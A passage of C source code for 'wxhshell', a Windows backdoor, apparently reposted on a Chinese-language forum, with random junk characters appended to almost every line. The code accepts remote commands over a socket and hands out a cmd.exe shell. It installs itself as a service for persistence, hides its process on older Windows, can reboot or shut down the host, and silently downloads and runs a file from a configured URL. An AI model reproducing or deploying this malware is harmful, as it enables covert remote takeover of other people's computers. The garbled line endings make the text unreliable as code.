  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tc5OI'-V  
  } BBE1}V!u  
  else { 0*/ r'  
^1yTL5#:Vw  
    switch(cmd[0]) { He-Ja  
  #r^@*<{^  
  // 帮助 C"Q=(3  
  case '?': { \If!5N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  zn;Hs]G  
    break; bW.zxQ :  
  } P| P fG=  
  // 安装 P9mxY*K)%5  
  case 'i': { >c\v&k>6.  
    if(Install()) ;@YF}%!+W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U2>dwn  
    else Fif^V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h)l&K%4;  
    break; qb&N S4#  
    } eTRx6Fri(  
  // 卸载 \g:qQ*.  
  case 'r': { fy=C!N&/  
    if(Uninstall()) Fp6[W5>(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $N+ {r=  
    else hB$Y4~T%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m/c&/6nk  
    break; 9_A0:S9Z  
    } /xm#:+Sc  
  // 显示 wxhshell 所在路径 :;*#Qh3"  
  case 'p': { kPX2e h  
    char svExeFile[MAX_PATH]; lPcVhj6No%  
    strcpy(svExeFile,"\n\r"); 5az 4NT  
      strcat(svExeFile,ExeFile); . (*kgv@3x  
        send(wsh,svExeFile,strlen(svExeFile),0); H^PqYLj N  
    break; g=g.GpFt  
    } <AAZ8#^  
  // 重启 r|\'9"@  
  case 'b': { eo*u(@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6n6VEwYj  
    if(Boot(REBOOT)) /mB Beg^a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BXK::M+  
    else { Ril21o! j  
    closesocket(wsh); &Wz`>qYL*  
    ExitThread(0); BUA6(  
    } n:^"[Le  
    break; 5ih"Nds[H  
    } !ga (L3vf  
  // 关机 Z(k\J|&9C  
  case 'd': { Y K?*7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jPYe_y  
    if(Boot(SHUTDOWN)) O *J_+6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |h=+&*(:  
    else { hr!f: D  
    closesocket(wsh); n@07$lY@;  
    ExitThread(0); T:g4D z*2\  
    } X!#i@V  
    break; ss0'GfP  
    } Vyt~OTI\  
  // 获取shell +/!=Ub[:U  
  case 's': { A{8K#@!  
    CmdShell(wsh); 0nD=|W\@{  
    closesocket(wsh); qv0 DrL,3  
    ExitThread(0); ZP6 3Alt  
    break; u_6BHsU  
  } Iz GB  
  // 退出 R<lNk<  
  case 'x': { ]zvVY:v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +>!B(j\gx  
    CloseIt(wsh); 5e/qgI)M5  
    break; @( n^S?(  
    } 7Js>!KR  
  // 离开 NO+ 55n  
  case 'q': { C'8!cPFVv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EOBs}M;  
    closesocket(wsh); jI{~s]Q  
    WSACleanup(); /[20e1 w!  
    exit(1); &weY8\HD  
    break; ( *9Ip  
        } Q9yGQu  
  } 1(%>`=R8  
  } 1A?\BJ"  
5U)ab3 :  
  // 提示信息 }#ep}h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tbi]oB#  
} c>R`jb@$N  
  } ` Y{>2UFX  
{ p!_-sL  
  return; "^9[OgE:  
} C?[a3rNH(  
B|Fl ,55  
// shell模块句柄 uO ?Od  
int CmdShell(SOCKET sock) ]<8B-D?Z  
{ Vedyy\TU  
STARTUPINFO si; $*AC>i\  
ZeroMemory(&si,sizeof(si)); ol$2sI=.s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >&<<8Ln  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p |\%:#  
PROCESS_INFORMATION ProcessInfo; j!lAxlOX  
char cmdline[]="cmd"; y^mWG1"O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yV J dZI  
  return 0; G%7 4v|cd  
} S(>@:`=  
})o~E  
// 自身启动模式 q:Y6fbt<7  
int StartFromService(void) CYPazOfj  
{ (2 T#/$  
typedef struct +9CEC1-l  
{ *%T)\\H2  
  DWORD ExitStatus; I #M%%5e  
  DWORD PebBaseAddress; "K|)<6J  
  DWORD AffinityMask; @,x_i8  
  DWORD BasePriority; * MSBjH|  
  ULONG UniqueProcessId; 0^GbpSW{  
  ULONG InheritedFromUniqueProcessId; ;m@1Ec@* p  
}   PROCESS_BASIC_INFORMATION; 2SDh0F  
~!nLbK2  
PROCNTQSIP NtQueryInformationProcess; kgbobolA  
Y{k>*: Ax_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HYjMNj0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ex` xkZ+  
. ]o3A8  
  HANDLE             hProcess; 2E`~ qn  
  PROCESS_BASIC_INFORMATION pbi; U,Z"G1^  
hWq. #e 6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j>0<#SYBu  
  if(NULL == hInst ) return 0; y4xT:G/M  
E /fw?7eQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4GG1E. z}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SXRdNPXFO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <91t`&aWW  
87QZun%  
  if (!NtQueryInformationProcess) return 0; ="uKWt6n'  
Sao>P[#x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R* s* +I  
  if(!hProcess) return 0; V#ndyUM;  
kCima/+_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8G0  
DE*MdfP0  
  CloseHandle(hProcess); *0%4l_i  
iD>G!\&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T)WZ_bR  
if(hProcess==NULL) return 0; Y]C; T  
hc-lzYS  
HMODULE hMod; /635B*g  
char procName[255]; 33Ssylno  
unsigned long cbNeeded; #/ OUGeJ  
|h5kg<Zgo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I3Lg?bZ  
9pWi.J  
  CloseHandle(hProcess); #F_'}?09%  
FE/$(7rM  
if(strstr(procName,"services")) return 1; // 以服务启动 zuUT S[  
i]it5  
  return 0; // 注册表启动 <=q*N;=T,  
} c]A Y  
m)s xotgXf  
// 主模块 c{1V.  
int StartWxhshell(LPSTR lpCmdLine) ?22d},.  
{ PC*m% ?+  
  SOCKET wsl; CN$I:o04C  
BOOL val=TRUE; ]EB6+x!G  
  int port=0; 12idM*  
  struct sockaddr_in door; '@'B>7C#  
7t'(`A 6t/  
  if(wscfg.ws_autoins) Install(); |q3f]T&+>{  
p3g4p  
port=atoi(lpCmdLine); Xo2^N2I  
hlX>K  
if(port<=0) port=wscfg.ws_port; ($c`s8mp  
Tdg6kkJ  
  WSADATA data; jvu N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xN6>2e  
wD`[5~C{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >G]?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i-`,/e~XT  
  door.sin_family = AF_INET; )))2f skZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #nKRTb+{  
  door.sin_port = htons(port); ya:sW5fk  
^w>&?A'!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hQXxG/yFm  
closesocket(wsl); ~%`EeJwT  
return 1; :3v9h^|+  
} ASR-a't6  
Y+FP   
  if(listen(wsl,2) == INVALID_SOCKET) { ugno]5Ni  
closesocket(wsl); qk&gA}qF  
return 1; (#oYyM]  
} ~]&B >q  
  Wxhshell(wsl); qmEoqU  
  WSACleanup(); =nzFd-P  
m$?.Yig?  
return 0; {(;B5rs  
`qE4U4  
} D3y>iQd   
3)Zu[c[%'J  
// 以NT服务方式启动 CJp-Y}fGEA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SZ/(\kQ6  
{ HcA[QBh  
DWORD   status = 0; /jR8|sb  
  DWORD   specificError = 0xfffffff; AP0|z  
!3h{lE B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?;^5ghY$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k d+l k:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e8{^f]5  
  serviceStatus.dwWin32ExitCode     = 0; -,^WaB7u\  
  serviceStatus.dwServiceSpecificExitCode = 0;  DwXU  
  serviceStatus.dwCheckPoint       = 0; &U&Zo@ot"x  
  serviceStatus.dwWaitHint       = 0; 7H%_sw5S.  
zka?cOmYF[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q[P~L`h S  
  if (hServiceStatusHandle==0) return; -KiRj!v|  
EL7T'zJ$  
status = GetLastError(); .a,(pq Jg  
  if (status!=NO_ERROR) F$h'p4$T  
{ ds]?;l"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?I[h~vr6.  
    serviceStatus.dwCheckPoint       = 0; ^!}F%  
    serviceStatus.dwWaitHint       = 0;  i S  
    serviceStatus.dwWin32ExitCode     = status; Ihg~Q4t  
    serviceStatus.dwServiceSpecificExitCode = specificError; VHW`NP 5Jl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,E?4f @|X  
    return; 9 ZGV%Tw  
  } N<liS3>  
lUHtjr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #/ +I*B*y  
  serviceStatus.dwCheckPoint       = 0; y@3kU*-1  
  serviceStatus.dwWaitHint       = 0; akC>s8tqlA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )Oievu_"|  
} b+Vi3V  
@h#Xix7  
// 处理NT服务事件,比如:启动、停止 ~ M*gsW$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y"-{$N  
{ b =b :  
switch(fdwControl) VhvTBo<cw  
{ @8zT'/$  
case SERVICE_CONTROL_STOP: dF e4K"  
  serviceStatus.dwWin32ExitCode = 0; ]RD5Ex!K?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GJ`UO  
  serviceStatus.dwCheckPoint   = 0; 1i'Z ei)  
  serviceStatus.dwWaitHint     = 0; RM,'o[%  
  { >rw"Rd'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nLJBq)i  
  } ~C| ,b"  
  return; E0YU[([G  
case SERVICE_CONTROL_PAUSE:  eu9w|g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E eB3 }  
  break; $)*xC!@6X  
case SERVICE_CONTROL_CONTINUE: '#H")i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \XS]N_}8>  
  break; RdI} ;K  
case SERVICE_CONTROL_INTERROGATE: lsY `c"NW>  
  break; ln#\sA?iG  
}; &SmXI5>Bo0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U:n*<l-k}  
} 2 .f|2:I  
9"ugz^uKt  
// 标准应用程序主函数 AS|Rd+ .  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y]'CXCml)  
{ dIJGB==  
Gw{+xz KJ  
// 获取操作系统版本 C3}Aq8$6  
OsIsNt=GetOsVer(); yp+F<5o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oLS7`+b$  
Pm^lr!3p  
  // 从命令行安装 `W"G!X-  
  if(strpbrk(lpCmdLine,"iI")) Install(); j#3m|dQ  
jDTUXwx7V  
  // 下载执行文件 Z`s!dV]e9  
if(wscfg.ws_downexe) { )6{P8k4Zr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1lcnRHO  
  WinExec(wscfg.ws_filenam,SW_HIDE); lKWr=k~  
} lFf XWNb  
.C= I^  
if(!OsIsNt) { e$|VG* d  
// 如果时win9x,隐藏进程并且设置为注册表启动 o&$hYy"<.L  
HideProc(); fHfY}BQS  
StartWxhshell(lpCmdLine); y5u\j{?Te  
} )gXTRkmw  
else _~A~+S}  
  if(StartFromService()) eYEc^nC,c)  
  // 以服务方式启动 Hku=pr3Gn  
  StartServiceCtrlDispatcher(DispatchTable); 4RQ5(YTTuR  
else Y<Q\d[3^F  
  // 普通方式启动 qq;b~ 3 kW  
  StartWxhshell(lpCmdLine); z+/LS5$  
}OrYpZob  
return 0; /DO'IHC.o  
}
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只看该作者 1 发表于: 2006-10-10
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